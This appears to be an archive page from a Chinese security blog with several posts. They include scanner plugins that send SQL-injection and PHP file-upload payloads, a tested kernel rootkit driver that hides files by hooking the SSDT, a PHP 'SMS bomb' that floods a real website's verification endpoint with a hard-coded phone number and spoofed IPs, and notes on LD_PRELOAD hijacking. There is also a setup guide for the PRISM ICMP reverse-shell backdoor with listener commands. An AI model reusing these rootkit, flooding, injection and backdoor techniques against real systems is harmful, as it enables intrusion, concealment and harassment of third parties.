        if "[message] => MySQL Query Error" in res: #匹配关键字
            security_hole('find sql injection: ' + arg+'index.php')
 
if __name__ == "__main__":
    from dummy import *
    audit(assign('fangweituangou', 'http://www.example.com/')[1])

4.带HEAD提交:

curl.curl('-H http://www.abc.com/')

#!/usr/bin/env python
# -*- coding: utf-8 -*-
 
def assign(service,arg):
    if service == "ShopBuilder":
        return True, arg
 
def audit(arg):
    payload = "X-Forwarded-For:127.0.0.1' and extractvalue(1,concat(0x3a,md5(3.14),0x3a)) and '1"
    #自己定义一个X-Forwarded-For
    url = arg + 'index.php'
    code, head, res, errcode,finalurl =  curl.curl("-H \"%s\" %s" % (payload,url))
    #curl -H 带头部进行访问
    if code == 200 and '4beed3b9c4a886067de0e3a094246f7' in res:
        security_hole('find X-Forwarded-For sql inject::'+url)
 
if __name__ == "__main__":
    from dummy import *
    audit(assign('ShopBuilder', 'http://www.example.com/')[1])

5.上传的类型

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#__author__ = 'ontheway'
import re
 
'''
fckeditor版本 <= 2.4.3
'''
def fck2_4_3(host):
    path = "editor/filemanager/upload/php/upload.php?Type=Media"
    data = "------WebKitFormBoundaryba3nn74V35zAYnAT\r\n"
    data += "Content-Disposition: form-data; name=\"NewFile\"; filename=\"ssdlh.php\"\r\n"
    data += "Content-Type: image/jpeg\r\n\r\n"
    data += "GIF89a<?php print(md5(521521));?>\r\n"
    data += "------WebKitFormBoundaryba3nn74V35zAYnAT--\r\n"
    head = "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryba3nn74V35zAYnAT\r\n"
    url = host + path
    code, head, body, ecode, redirect_url = curl.curl('-H \'%s\' -d \'%s\' %s' % (head,data,url))
    #因为上传,我们需要有POST数据的头部,还要有data的内容
    if code == 200:
        shell = re.findall("eted\(\d+,\"(.+?.php)\"",body)
        if shell:
            phpurl = util.urljoin(host, '../'+shell[0])
            code, head, body, ecode, redirect_url = curl.curl(phpurl)
            if code==200 and '35fd19fbe470f0cb5581884fa700610f' in body:
                security_hole('upload vulnerable:%s' % phpurl)
            else:
                security_info('maybe vulnerable:%s' % phpurl)
                 
  def assign(service, arg):
    if service == "fckeditor":
        return True, arg
 
 
def audit(arg):
    fck2_4_3(arg)

 

驱动实现RootKit文件隐藏

发布时间:April 26, 2015 // 分类:代码学习,VC/C/C++,转帖文章,windows // No Comments

以下代码已经经过测试可以正确编译运行。效果也正常实现,可以作为学习驱动的一个示例代码。

#include "ntddk.h"
#include <windef.h>
 
 
#pragma pack(1) //SSDT Table
typedef struct ServiceDescriptorEntry {
        unsigned int *ServiceTableBase;
        unsigned int *ServiceCounterTableBase; //Used only in checked build
        unsigned int NumberOfServices;
        unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()
 
 
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)] //数组下标从1开始不是从零开始
NTSTATUS DriverEntry(IN PDRIVER_OBJECT  DriverObject,IN PUNICODE_STRING  RegistryPath);
VOID Unload(IN PDRIVER_OBJECT  DriverObject);
 
 
//取代的新函数
NTSTATUS NTAPI NewZwQueryDirectoryFile(
  IN HANDLE               FileHandle,
  IN HANDLE               Event OPTIONAL,
  IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,
  IN PVOID                ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK    IoStatusBlock,
  OUT PVOID               FileInformation,
  IN ULONG                Length,
  IN FILE_INFORMATION_CLASS FileInformationClass,
  IN BOOLEAN              ReturnSingleEntry,
  IN PUNICODE_STRING      FileMask OPTIONAL,
  IN BOOLEAN              RestartScan );
 
 
//API 声明
NTSYSAPI NTSTATUS NTAPI ZwQueryDirectoryFile(
  IN HANDLE               FileHandle,
  IN HANDLE               Event OPTIONAL,
  IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,
  IN PVOID                ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK    IoStatusBlock,
  OUT PVOID               FileInformation,
  IN ULONG                Length,
  IN FILE_INFORMATION_CLASS FileInformationClass,
  IN BOOLEAN              ReturnSingleEntry,
  IN PUNICODE_STRING      FileMask OPTIONAL,
  IN BOOLEAN              RestartScan );
 
 
typedef NTSTATUS (*ZWQUERYDIRECTORYFILE)(
  IN HANDLE               FileHandle,
  IN HANDLE               Event OPTIONAL,
  IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,
  IN PVOID                ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK    IoStatusBlock,
  OUT PVOID               FileInformation,
  IN ULONG                Length,
  IN FILE_INFORMATION_CLASS FileInformationClass,
  IN BOOLEAN              ReturnSingleEntry,
  IN PUNICODE_STRING      FileMask OPTIONAL,
  IN BOOLEAN              RestartScan );
 
 
typedef struct _FILE_DIRECTORY_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    WCHAR FileName[1];
} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;
 
 
typedef struct _FILE_FULL_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    WCHAR FileName[1];
} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION;
 
 
typedef struct _FILE_ID_FULL_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    LARGE_INTEGER FileId;
    WCHAR FileName[1];
} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION;
 
 
typedef struct _FILE_BOTH_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    CCHAR ShortNameLength;
    WCHAR ShortName[12];
    WCHAR FileName[1];
} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;
 
 
typedef struct _FILE_ID_BOTH_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    CCHAR ShortNameLength;
    WCHAR ShortName[12];
    LARGE_INTEGER FileId;
    WCHAR FileName[1];
} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION;
 
 
typedef struct _FILE_NAMES_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    ULONG FileNameLength;
    WCHAR FileName[1];
} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;
 
 
//-----------------------------------------------------------------------------------------------------------
//源地址
ZWQUERYDIRECTORYFILE OldZwQueryDirectoryFile = NULL;
DWORD GetNextEntryOffset(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo);
void SetNextEntryOffset(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo,IN DWORD Offset);
PVOID GetEntryFileName(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo);
ULONG GetFileNameLength(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo);
  
  
//#include "Hidefile.h"
NTSTATUS DriverEntry(IN PDRIVER_OBJECT  DriverObject,IN PUNICODE_STRING  RegistryPath)
{
NTSTATUS ntStatus = STATUS_SUCCESS;
DriverObject->DriverUnload = Unload;
KdPrint(("Driver Entry Called!/n"));
KdPrint(("OldAddress原始函数地址值:0x%X/t新函数地址值NewAddress:0x%X/n",SYSTEMSERVICE(ZwQueryDirectoryFile),NewZwQueryDirectoryFile));
 
__asm //去掉页面保护
{
cli
mov eax,cr0
and eax,not 10000h
mov cr0,eax
}
 
OldZwQueryDirectoryFile = (ZWQUERYDIRECTORYFILE)SYSTEMSERVICE(ZwQueryDirectoryFile);//将旧函数地址值保存备份
DbgPrint("改写函数地址前\n");
(ZWQUERYDIRECTORYFILE)SYSTEMSERVICE(ZwQueryDirectoryFile) = NewZwQueryDirectoryFile;//将旧函数地址值改变为我们的函数地址入口值
DbgPrint("改写函数地址后\n");
  
__asm//恢复页面保护 
{  
mov    eax, cr0 
or     eax, 10000h 
mov    cr0, eax 
sti 
} 
 
return ntStatus;
}
 
 
VOID Unload(IN PDRIVER_OBJECT  DriverObject)
{
KdPrint(("Driver Unload Called!/n"));
__asm //去掉页面保护
{
cli
mov eax,cr0
and eax,not 10000h
mov cr0,eax
}
 
(ZWQUERYDIRECTORYFILE)SYSTEMSERVICE(ZwQueryDirectoryFile) = OldZwQueryDirectoryFile;
KdPrint(("Address:0x%X/n",SYSTEMSERVICE(ZwQueryDirectoryFile)));
  
 __asm//恢复页面保护 
{  
mov    eax, cr0 
or     eax, 10000h 
mov    cr0, eax 
sti 
} 
return;
}
 
 
DWORD GetNextEntryOffset(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo)
{
DWORD result = 0;
switch(FileInfo){
case FileDirectoryInformation:
result = ((PFILE_DIRECTORY_INFORMATION)pData)->NextEntryOffset;
break;
case FileFullDirectoryInformation:
result = ((PFILE_FULL_DIR_INFORMATION)pData)->NextEntryOffset;
break;
case FileIdFullDirectoryInformation:
result = ((PFILE_ID_FULL_DIR_INFORMATION)pData)->NextEntryOffset;
break;
case FileBothDirectoryInformation:
 result = ((PFILE_BOTH_DIR_INFORMATION)pData)->NextEntryOffset;
 break;
case FileIdBothDirectoryInformation:
result = ((PFILE_ID_BOTH_DIR_INFORMATION)pData)->NextEntryOffset;
break;
case FileNamesInformation:
 result = ((PFILE_NAMES_INFORMATION)pData)->NextEntryOffset;
 break;
}
return result;
}
 
 
void SetNextEntryOffset(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo,IN DWORD Offset)
{
 switch(FileInfo){
 case FileDirectoryInformation:
((PFILE_DIRECTORY_INFORMATION)pData)->NextEntryOffset = Offset;
break;
 case FileFullDirectoryInformation:
((PFILE_FULL_DIR_INFORMATION)pData)->NextEntryOffset = Offset;
break;
 case FileIdFullDirectoryInformation:
 ((PFILE_ID_FULL_DIR_INFORMATION)pData)->NextEntryOffset = Offset;
break;
 case FileBothDirectoryInformation:
((PFILE_BOTH_DIR_INFORMATION)pData)->NextEntryOffset = Offset;
break;
 case FileIdBothDirectoryInformation:
((PFILE_ID_BOTH_DIR_INFORMATION)pData)->NextEntryOffset = Offset;
break;
 case FileNamesInformation:
 ((PFILE_NAMES_INFORMATION)pData)->NextEntryOffset = Offset;
break;
 }
}
 
 
 
 
PVOID GetEntryFileName(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo)
{
 PVOID result = 0;
 switch(FileInfo){
 case FileDirectoryInformation:
result = (PVOID)&((PFILE_DIRECTORY_INFORMATION)pData)->FileName[0];
break;
 case FileFullDirectoryInformation:
 result =(PVOID)&((PFILE_FULL_DIR_INFORMATION)pData)->FileName[0];
 break;
 case FileIdFullDirectoryInformation:
 result =(PVOID)&((PFILE_ID_FULL_DIR_INFORMATION)pData)->FileName[0];
 break;
 case FileBothDirectoryInformation:
 result =(PVOID)&((PFILE_BOTH_DIR_INFORMATION)pData)->FileName[0];
 break;
 case FileIdBothDirectoryInformation:
 result =(PVOID)&((PFILE_ID_BOTH_DIR_INFORMATION)pData)->FileName[0];
 break;
 case FileNamesInformation:
 result =(PVOID)&((PFILE_NAMES_INFORMATION)pData)->FileName[0];
 break;
 }
 return result;
}
 
 
 
 
 
 
ULONG GetFileNameLength(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo)
{
 ULONG result = 0;
 switch(FileInfo){
 case FileDirectoryInformation:
 result = (ULONG)((PFILE_DIRECTORY_INFORMATION)pData)->FileNameLength;
 break;
 case FileFullDirectoryInformation:
 result =(ULONG)((PFILE_FULL_DIR_INFORMATION)pData)->FileNameLength;
 break;
 case FileIdFullDirectoryInformation:
 result =(ULONG)((PFILE_ID_FULL_DIR_INFORMATION)pData)->FileNameLength;
 break;
 case FileBothDirectoryInformation:
 result =(ULONG)((PFILE_BOTH_DIR_INFORMATION)pData)->FileNameLength;
 break;
 case FileIdBothDirectoryInformation:
 result =(ULONG)((PFILE_ID_BOTH_DIR_INFORMATION)pData)->FileNameLength;
 break;
 case FileNamesInformation:
 result =(ULONG)((PFILE_NAMES_INFORMATION)pData)->FileNameLength;
 break;
 }
 return result;
}
 
 
NTSTATUS NTAPI NewZwQueryDirectoryFile(
  IN HANDLE               FileHandle,
  IN HANDLE               Event OPTIONAL,
  IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,
  IN PVOID                ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK    IoStatusBlock,
  OUT PVOID               FileInformation,
  IN ULONG                Length,
  IN FILE_INFORMATION_CLASS FileInformationClass,
  IN BOOLEAN              ReturnSingleEntry,
  IN PUNICODE_STRING      FileMask OPTIONAL,
  IN BOOLEAN              RestartScan )
{
//首先,调用原始函数执行获取打开文件或目录得到信息
NTSTATUS ntStatus = OldZwQueryDirectoryFile(
 FileHandle,
 Event,
 ApcRoutine,
 ApcContext,
 IoStatusBlock,
 FileInformation,
 Length,
 FileInformationClass,
 ReturnSingleEntry,
 FileMask,
 RestartScan);
DbgPrint("进入自己定义的函数内,并成功执行原函数代码\n");
 
 
//这里判定函数是否执行成功,而且获取的是否是文件或目录
if(NT_SUCCESS(ntStatus) && 
 FileInformationClass == FileDirectoryInformation ||
 FileInformationClass == FileFullDirectoryInformation ||
 FileInformationClass == FileIdFullDirectoryInformation ||
 FileInformationClass == FileBothDirectoryInformation ||
 FileInformationClass == FileIdBothDirectoryInformation ||
 FileInformationClass == FileNamesInformation 
 )
{
 PVOID p = FileInformation;
 PVOID pLast = NULL;
 DWORD pLastOne = 0;
 KdPrint(("<--------/n"));
 do{
  pLastOne = GetNextEntryOffset(p,FileInformationClass);
  KdPrint(("[*]Last:0x%x/tCurrent:0x%x/tpLastOne:%ld/n",pLast,p,pLastOne));
   
  if(RtlCompareMemory(GetEntryFileName(p,FileInformationClass), L"RootkitFile", 16 ) == 16 )//RootkitFile改为自己想要隐藏的文件名和目录名
  {
KdPrint(("[-]Hide...../n"));
KdPrint(("[-]现在在目录下看不到RootkitFile命名的目录和文件了/n"));
if(pLastOne == 0)
{
if (p == FileInformation)
ntStatus = STATUS_NO_MORE_FILES;
else
SetNextEntryOffset(pLast,FileInformationClass, 0);
break;
}
else
{
int iPos = ((ULONG)p) - (ULONG)FileInformation;
int iLeft = (DWORD)Length - iPos - pLastOne;
RtlCopyMemory(p,(PVOID)((char*)p + pLastOne),(DWORD)iLeft);
KdPrint(("iPos:%ld/tLength:%ld/tiLeft:%ld/t,NextOffset:%ld/tpLastOne:%ld/tCurrent:0x%x/n",
 iPos,Length,iLeft,GetNextEntryOffset(p,FileInformationClass),pLastOne,p));
continue;
}
  }
  pLast = p;
  p = ((char*)p + GetNextEntryOffset(p,FileInformationClass));
 }while (pLastOne != 0);
 KdPrint(("-------->/n"));
}
return ntStatus;
}

 

PHP字符与ascii的互转

发布时间:April 26, 2015 // 分类:代码学习 // No Comments

1.字符转ascii

<?PHP
//中文字符转ascii,首先要判断是gbk/gb2312编码还是utf-8编码
//中文gbk/gb2312 每个中文由两个英文字符组成,也就有两个ascii码
//中文utf-8 每个中文由三个英文字符组成,也就有三个ascii码
//下面以GBK编码为例:
$char = 'gbk';
$str = '我是百度baidu.com';//中英文数字混排
echo "要输出的字符串是: ".$str,$char."<br />\n";;
$c = mb_strlen($str,$char);
for($i =0;$i<$c;$i++){
  $arr[]=mb_substr($str,$i,1,$char);
}
foreach($arr as $i=>$v){
  if(preg_match('/\w/i',$v,$match)){
    echo $v ."的ascii码:".ord($v)."<br />\n";
    $out[] = "   ".ord($v);
  }else{
    echo $v ."的ascii码由两个组成:".ord($v{0})." ".ord($v{1})."<br />\n" ;
    $out[] = "   ".ord($v{0});
    $out[] = "   ".ord($v{1}); 
  }
}
echo $str."的ascii码是:"."<br />\n".implode($out);
?>

2.Ascii转字符型

<?php
//因为解密某些代码所写的还原。没有考虑针对中文的
//$strCont=file_get_contents("test.php");
$strCont=@$_POST[code];
if (isset($strCont)) {
$pieces = explode(" ", $strCont);
for($i=0;$i<count($pieces);$i++){
echo chr($pieces[$i]);
} }
?>
<form method="post" action="">
<textarea cols="80" rows="5" name="code"></textarea>
<input type="submit" name="button" value="submit" />

 

关于rar.exe压缩以及unrar.exe解压

发布时间:April 26, 2015 // 分类:代码学习,转帖文章 // No Comments

系统自带CMD本身不支持rar的,可以自己找一台安装了winrar的电脑,从文件夹里面提取出来。有些人喜欢丢到windows目录下,其实就是方便调用而已。 

RAR.exe         负责的功能是压缩文件 
UnRAR.exe     负责的功能则是解压缩文件 

RAR 命令行语法

 

语法

   RAR.exe <命令>  [ -<开关> ]  <压缩文件>  [ <@列表文件...> ]
       [ <文件...> ]  [ <解压路径\> ]

a       添加文件到压缩文件中。

        例子:

        1) 从当前目录添加所有的 *.hlp 文件到 help.rar 压缩文件:

        rar a help *.hlp

       

2) 如果目录包含文件掩码或以反斜线结尾,将会应用普通的规则,你需要指定 -r 开关来处理它的子目录。

        下列命令会把 Bitmaps 目录中除了子目录外的所有文件添加,因为未
        指定开关 -r:

        rar a Pictures.rar Bitmaps\*

 

d       从压缩文件中删除文件。请注意,如果这个命令导致压缩文件中所有文件
        全部删除,这个空的压缩文件将被删除。


e       解压文件到当前目录。


f       更新压缩文件中的文件。 更新打包到压缩文件后被改变的文件。这个命令不
        向压缩文件中添加新文件。

u       更新压缩文件中的文件。添加不在压缩文件中的文件和更新打包后改变了的
        文件。

m[f]    移动到压缩文件中[只用于文件]。移动文件和目录会使压缩操作完成后它
        们被删除。如果使用变量'f'和/或应用开关'-ed',则不删除目录。

v[t,b]  详细列出压缩文件内容[技术信息]。文件列出所使用的格式:绝对路径名,文
        件注释,原始和压缩后的大小,压缩率,最近更新日期和时间,属性,CRC,
        压缩方式和解压所需的最小RAR版本。当使用't'变量时可选技术信息(主操作
        系统,固实标志和老的文件版本标记)显示。变量 'b' 强制 RAR 只输出单纯
        的文件名,而没有其他任何的附加信息。

        列出所有压缩卷的内容,使用星号('*')代替压缩文件扩展名或使用'-v'
        开关。

        例子:

        1) 列出 system.rar 压缩文件的内容 (技术信息)并使用重定向符输出
           到文件 techlist.lst 中

           rar vt system >techlist.lst

        2) 列出 tutorial.rar 压缩文件的内容 (单纯文件名模式)

           rar vb tutorial

x       带绝对路径解压

        例子:

        rar x test.rar testDir\
        注意,目录名后面要跟\符号,如果没有testDir这个文件夹,会先自动创建。

如果文件已存在,若要解压后覆盖文件,则使用-o+开关,或者用-y开关。若不覆盖则用-o-开关。


 

再来说说unrar。它负责的是解压已经被压缩文件了的文件
假设,D:\abc文件夹下有个a.rar文件 
你要把a文件解压到当前目录 
你就在命令行里输入命令,unrar x(注释,命令x为使用绝对路径)D:\abc\a.rar(注释,这是你要解压的文件的绝对路径) D:\(注释,这个是你想解压的路径,如果留空则默认解压到%HOMEPATH%目录)

unrar.exe x d:\abc\a.rar

执行后就会解压到当前执行命令的目录里面。当然了,我们也可以指定解压的目录。

unrar.exe x d:\abc\a.rar D:\

执行后就把:\abc\a.rar解压到d:\根目录下了

如果你不想用绝对路径解压,在cmd中跳转到,rar文件的目录下,改用命令e,
继续以D:\abc文件夹下有个a.rar文件为例,你到了abc的目录下输入,unrar e a.rar(注释,这里用相对路径)D:\(注释这里依然是你想解压到得目录,但留空则解压到当前目录)

其次,rar文件有密码,则加上开关-p[]
例unrar e -p[abc] a.rar d:\

php发送短信炸弹

发布时间:April 26, 2015 // 分类:代码学习 // No Comments

<?
/**
 *本代码仅仅适用于利用X-FORWARDED-FOR获取客户端IP的网站
 *对于其他获取的无效
 */
echo '<meta http-equiv="refresh" content="5"> ';//自动刷新,间隔时间5秒
function curlrequest($url, $postfield,$referer='',$cookie='') {
 $ip= rand(100, 244).'.'.rand(100, 244).'.'.rand(100, 244).'.'.rand(100, 244);
 $ch = curl_init();
 curl_setopt($ch, CURLOPT_URL, $url);
 curl_setopt($ch, CURLOPT_HEADER, 0);
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 curl_setopt($ch, CURLOPT_POST, 1);
 curl_setopt($ch, CURLOPT_POSTFIELDS, $postfield);
 curl_setopt($ch, CURLOPT_COOKIE, $cookie);
 curl_setopt($ch, CURLOPT_REFERER, $referer); //构造来路
 curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'X-FORWARDED-FOR:'.$ip, 
    'CLIENT-IP:'.$ip,
    'Accept: application/json, text/javascript, */*; q=0.01',
    'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
    'X-Requested-With: XMLHttpRequest'));
 $data = curl_exec($ch); //运行curl
 curl_close($ch);
 return $data;
}
 
$url='http://www.iqingyun.cn/user/getcode.html';
$ref='http://www.iqingyun.cn/?source=growup.com';
$cookies='';//cookies
$postfield=array(
 'phone'=>'13312368637'
);
$postfield = http_build_query($postfield);
$result = curlrequest($url, $postfield,$ref,$cookies);
echo json_decode($result);
?>

 

手动解密wdcp全部的php文件

发布时间:April 26, 2015 // 分类:代码学习 // No Comments

<?php
/**
 *解密的函数wd_decode
 *利用perl来修改的
 */
function wd_decode($filename) {
        $data = unpack('C*', substr(file_get_contents($filename), 9));
        $key = array(0xB8, 0x35, 0x6, 0x2, 0x88, 0x1, 0x5B, 0x7, 0x44, 0x0);//固定的
        $j = count($data);
        foreach($data as $k => &$v) {
                $v = $key [ 2 * ($j % 5) ] ^ ~$v;
                // $v = sprintf('%u', $v);
                $v &= 0xFF;
                $v = pack('C*', $v);
                -- $j;
        }
        return gzuncompress(join('', $data));
}
/**
 *遍历文件以及子目录
 *利用glob函数来实现的
 */
function get_filetree($path){ 
$tree = array(); 
foreach(glob($path.'/*') as $single){ 
if(is_dir($single)){ 
$tree = array_merge($tree,get_filetree($single)); 
} 
else{ 
if(substr($single,-3) == "php")//仅仅是解密php文件,就直接查找php后缀了
 {  
    $tree[] = $single;  
   } 
} 
} 
return $tree; 
} 
 
$path = "D:\\WWW\\wdcp\\"; //当前目录
$r = get_filetree($path); 
foreach ($r as $age) {
     $page=wd_decode($age);
     $fp = fopen($age,"w");//写入自身
     fwrite($fp,$page);
     fclose($fp);
}
?>

 

LD_PRELOAD

发布时间:April 25, 2015 // 分类:工作日志,linux,代码学习,转帖文章 // No Comments

LD_PRELOAD:
在Unix操作系统的动态链接库的世界中,LD_PRELOAD就是这样一个环境变量
用以指定预先装载的一些共享库或目标文件,且无论程序是否依赖这些共享库或者文件,LD_PRELOAD指定的这些文件都会被装载
其优先级比LD_LIBRARY_PATH自定义的进程的共享库查找路径的执行还要早
全局符号介入
指在不同的共享库(对象)中存在同名符号时,一个共享对象中的全局符号被另一个共享对象的同名全局符号覆盖
因为LD_PRELOAD指定的共享库或者目标文件的装载顺序十分靠前,几乎是程序运行最先装载的,所以其中的全局符号如果和后面的库中的全局符号重名的话,就会覆盖后面装载的共享库或者目标文件中的全局符号。
因为装载顺序和全局符号介入的原理
它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。
这个功能主要就是用来有选择性的载入Unix操作系统不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。

 

 

其中,在我们自己的函数中主要完成量方面的工作:
     1)完成在调用此函数时我们想要做的工作。
     2)以传递进来的参数不加改动地调用原来动态链接库中的函数。
操作可行性:对于Android系统,将预先编译好的.so文件复制到Android系统/data中,
设置所要要追踪的游戏进程的LD_PRELOAD环境变量值为中间.so文件路径即可。
/etc/ld.so.preload
是系统的配置文件中的一个,其作用与LD_PRELOAD相同。

Linux 允许一个 动态链接库 (linux 上标准的叫法是 共享库)能被先加载到目标进程当中 提供了这个功能 就是  LD preload  通过设置 LD_PRELOAD 变量的值为一个共享库的地址,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。 然后启动的程序就会先加载这个dll  这样就运行我们来 hack 目标进程

     先看看目标进程当中那些函数还没有定义

# nm -u a.out
         w _Jv_RegisterClasses
         w __gmon_start__
         U __libc_start_main@@GLIBC_2.0
         U strlen@@GLIBC_2.0
         U write@@GLIBC_2.0

没有定义的函数  会在使用到的时候解析到正确的地址上  比如上面的 weite 函数 ,进程会加载 libc 这个共享库并得到正确的 write 函数的地址 但是我们使用LD_PRELOAD 指定的so 比 libc 还早加载 那么程序就会把 write 函数的地址解析到我们的 so 里面 ,如果我们的 so 也导出同样名字的函数  相当于劫持了。

下面写个程序看看

#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>
 
char *msg = "I am sincoder\n";
static ssize_t (*pf_org_write)(int , const void *, size_t ) = NULL;
 
static void init(void)
{
    pf_org_write = dlsym(RTLD_NEXT, "write");
    printf("get write addr : %x \n", (unsigned int)pf_org_write );
}
 
ssize_t write(int fd, const void *buf, size_t count)
{
    if (NULL == pf_org_write)
        init();
    if (STDOUT_FILENO == fd || STDERR_FILENO == fd)
    {
        return pf_org_write(STDOUT_FILENO, msg, strlen(msg));
    }
    return pf_org_write(fd, buf, count);
}

其中要注意的就是 得到正确的 系统调用 地址的代码 dlsym(RTLD_NEXT, "write");

指定 RTLD_NEXT 是为了 让加载器不把这个函数解析到我们自己下面定义的 write 而是 解析到下一个 so 中的函数 下一个肯定是 libc 了。。。于是就获得了正确的地址 也就是 write 实际的地址。

测试程序:

#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>
 
char *msg = "hello world";
 
int main()
{
    return write(STDOUT_FILENO,msg,strlen(msg));
}

编译:

gcc test.c -fpic -ldl -shared -o test.so

gcc write.c

然后  export LD_PRELOAD=/root/test.so

执行下程序看看

# ./a.out 
get write addr : 477ab7f0 
I am sincoder

可见顺利的替换了 write

还可以在 /etc/ld.so.preload    中写入 so 地址 这样系统启动的时候就生效 而且对所有的用户

 

使用限制
这种方式虽然很酷,但却有一些限制。比如对于静态编译的程序是无效的。因为静态编译的程序不需要连接动态库的面的函数。而且,假如文件的SUID或SGID位被置1,加载的时候会忽略LD_PRELOAD(这是ld的开发者出于安全考虑做的)。

相关的应用--Jynx-Kit

 

Linux下的ICMP反弹后门:PRISM

发布时间:April 23, 2015 // 分类:工作日志,代码学习,VC/C/C++,linux,转帖文章,python // No Comments

  搜索的时候无意中看见的这款基于ping的ICMP后门。于是到作者的github上看看,居然是阴文的,为了过级,只能强忍着看了,学生狗伤不起。还好比较简单易懂,正如简介说的一样:“PRISM is an user space stealth reverse shell backdoor, written in pure C.”

  项目地址:https://github.com/andreafabrizi/prism

  PRISM只有两个主文件,配置简单,能在LinuxSolaris、AIXBSD/Mac、Android等多个系统上运行,支持两种工作模式:ICMP 和 STATIC 模式。

ICMP模式

  使用这种模式的后门将会在后台等待特定的包含主机/端口连接信息ICMP数据包,通过私有密钥可以阻止第三方访问。后门进程接受ping包激活(总不会连ping包都不让过了靶>_<)

  首先,在攻击者的机器上运行netcat来等待后门进入的连接:

~$ nc -l -p 9999

   再使用sendPacket.py脚本(或其他数据包生成器,如nemesis-1.4)发送激活包到后门主机,以使后门主机反弹连接到主控机的指定端口:

./sendPacket.py 10.0.0.5 linger 10.0.0.10 9999
//10.0.0.5 远程主机(靶机)的IP地址
//linger 连接密码
//10.0.0.10 主控机IP地址
//9999 主控机连接端口

 STATIC模式

  使用这种模式,后门主机将会主动尝试连接到指定端口的的IP地址上,所以只要在指定IP上监听指定端口等待连接就可以了。但是,缺点很明显,很任意暴露攻击者的IP地址,而且使用不够灵活。

 $ nc -l -p [PORT] 

   当然,作为一款迷你级的后门木马。它还是有很多优点的:

  两种工作模式、运行时进程重命名、不会监听端口、自动清除iptables规则表、采用C语言编写(代码仅有200来行),所以不需要任何库支持。

配置prism后门

  编辑prism.c文件,修改宏定义部分:

 40 #ifdef STATIC
 41 # define REVERSE_HOST     "10.0.0.1"  //连接到主控机的IP地址
 42 # define REVERSE_PORT     19832   //连接到主控机的端口号
 43 # define RESPAWN_DELAY    15  //后门机尝试连接的空闲时间间隔
 44 #else
 45 # define ICMP_PACKET_SIZE 1024  //ICMP数据包的大小
 46 # define ICMP_KEY         "linger"  //连接的密码
 47 #endif
 48 
 49 #define VERSION          "0.5"   //版本信息
